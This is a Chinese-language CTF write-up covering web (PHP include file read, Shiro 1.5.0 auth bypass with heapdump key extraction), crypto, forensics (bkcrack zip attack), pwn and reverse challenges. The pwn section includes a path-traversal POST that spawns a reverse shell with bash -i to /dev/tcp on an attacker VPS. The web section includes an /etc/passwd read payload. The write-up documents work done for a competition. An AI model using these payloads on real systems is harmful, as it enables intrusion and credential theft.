我只解了一道密码和一道杂项，因为疫情没有去线下赛。

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Eazywill

开局给了源代码,审计一下
重点在View::fetch()函数,经过一系列流程调用了renderTo，以下是重点代码

extract($_vars);
include $cfile;

那么直接传参: /?name=cfile&value=/etc/passwd
可以读取，但是尝试读取/flag失败，
联想到以前看过https://tttang.com/archive/1312/
那么直接靠这个考点，直接传参：

Pentest in Autumn

首先给了pom.xml
提示shiro是1.5.0版本，有未授权访问漏洞
访问http://eci-2zej1goyn9jh89xtqlpd.cloudeci1.ichunqiu.com:8888/;a/actuator/heapdump，
然后使用MAT打开进行分析
直接oql查询：

select s from org.apache.shiro.web.mgt.CookieRememberMeManager s

直接查看左侧Attributes

根据密钥的生成规则，
base64.b64encode(struct.pack(’<bbbbbbbbbbbbbbbb’, -8,51,71,105,69,57,-45,-46,104,73,116,3,28,126,-34,58))
得到密钥：
+DNHaUU509JoSXQDHH7eOg==
然后使用shiro的利用工具，直接getflag

crypto

signin

和[羊城杯 2020]RRRRRRRSA挺像的，前面连分数逼近部分的脚本用的是翅膀师傅博客里的。

from Crypto.Util.number import *
from gmpy2 import *
def transform(x, y):  # 使用辗转相除将分数x/y转为连分数的形式res = []while y:res.append(x // y)x, y = y, x % yreturn resdef continued_fraction(sub_res):numerator, denominator = 1, 0for i in sub_res[::-1]:  # 从sublist的后面往前循环denominator, numerator = numerator, i * numerator + denominatorreturn denominator, numerator  # 得到渐进分数的分母和分子，并返回# 求解每个渐进分数
def sub_fraction(x, y):res = transform(x, y)res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res)))))  # 将连分数的结果逐一截取以求渐进分数return resdef wienerAttack(n1, n2):for (q2, q1) in sub_fraction(n1, n2):  # 用一个for循环来注意试探n1/n2的连续函数的渐进分数，直到找到一个满足条件的渐进分数if q1 == 0:  # 可能会出现连分数的第一个为0的情况，排除continueif n1 % q1 == 0 and q1 != 1:  # 成立条件return (q1, q2)print("该方法不适用")
c1=361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2=33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394N1=1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
N2=1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
q1,q2=wienerAttack(N1, N2)p1=iroot(N1//q1,4)[0]
p2=iroot(N2//q2,4)[0]phi1=(p1**4-p1**3)*(q1-1)
phi2=(p2**4-p2**3)*(q2-1)d1=invert(65537,phi1)
d2=invert(65537,phi2)
print(long_to_bytes(pow(c1,d1,N1)))
print(long_to_bytes(pow(c2,d2,N2)))

flag{8ef333ac-21a7-11ec-80f1-00155d83f114}

misc

某取证题

直接foremost，可以看到很多jpg图片和png图片，有的jpg图片上好像有字符，于是

一个一个dumpfiles弄出来，其中一张上面有后半个flag

接着pslist看进程，发现有wireshark，dump出来，再foremost，其中有一个加密的压缩包

尝试之后发现不是常规加密，是一种明文攻击，参考文章：https://blog.csdn.net/q851579181q/article/details/109767425

因为这里是jpg文件，所以选定文件头作为明文保存为key，这里选定的明文比较长，所以爆破速度会快很多，不过这一段是t.jpg对应的，跑秘钥的时候只能指定t.jpg。用FFD8FFE000104A4649460001作为明文段会慢一点，但是两个图片都能指定。

echo -n "FFD8FFE000104A4649460001010000010001" | xxd -r -ps >key

然后跑秘钥

time ./bkcrack -C 1.zip -c t.jpg -p key -o 0

最后能跑出三段秘钥b0a90b36 14dd97b9 f5d648cf

再用秘钥去解两个图片，这里以a.jpg为例，解出来之后发现是Deflate的压缩形式，不能直接查看，于是使用inflate.py进行解压

bkcrack -C 1.zip -c a.jpg  -k b0a90b36 14dd97b9 f5d648cf -d a1.jpg

#解压
python3 tools/inflate.py < a1.jpg > 2.jpg

解压之后就可以看到前一半flag

pwn

tiny_httpd

附件主页文件里发现有命令执行加绕过
方法
1.vps监听端口
2.然后连靶机nc执行下面命令

POST //...//...//...//...//...//...//...//...//...//...//...//.../bin/bashContent-Length: 100 HTTP/1.0 200 OKHTTP/1.0 200 OKbash -i >& /dev/tcp/vps地址/监听端口  0>&1 nc

vps上会弹shell，直接cat flag就行

reverse

Hideit

这个题首先祭出findcrypt

发现有salsa20
分析一下流程，其实需要调试

调试分析后发现是一个dll文件，分析算法
第一个算法是xxtea的加密算法，后面的才是findcrypt找到的salsa20算法。
第一个解出来密钥：dotitsit，，和真正的flag没啥关系
关键在于salas20算法，在内存中找到了0N3@aYI_M3l0dy_KurOm1_W_Suk1dqy0
至于算法的解密，其实都是异或算法，只要在内存中提取密钥流就行了，
把key和密文异或得出flag

key = [0x8D, 0xE2, 0x3D, 0xC2, 0x19, 0xF2, 0x2D, 0xCA, 0x18, 0x14, 0xCF, 0x52, 0x77, 0x5A, 0x9C, 0x13, 0xAA, 0xCC, 0x04, 0x5B, 0x92, 0xC1, 0x0C, 0x68, 0x45, 0x58, 0xF9, 0x47, 0x68, 0xD9, 0x35, 0xC5]
encstr = [0xEB, 0x8E, 0x5C, 0xA5, 0x62, 0xB4, 0x1C, 0x84, 0x5C, 0x59, 0xFC, 0x0D, 0x43, 0x3C, 0xAB, 0x20, 0xD8, 0x93, 0x33, 0x13, 0xA1, 0x9E, 0x39, 0x00, 0x76, 0x14, 0xB5, 0x04, 0x58, 0x9D, 0x06, 0xB8]
flag = ""
for i in range(32):flag += chr(key[i] ^ encstr[i])
print flag
#flag{F1NDM3_4f73r_7H3_5h3LLC0D3}

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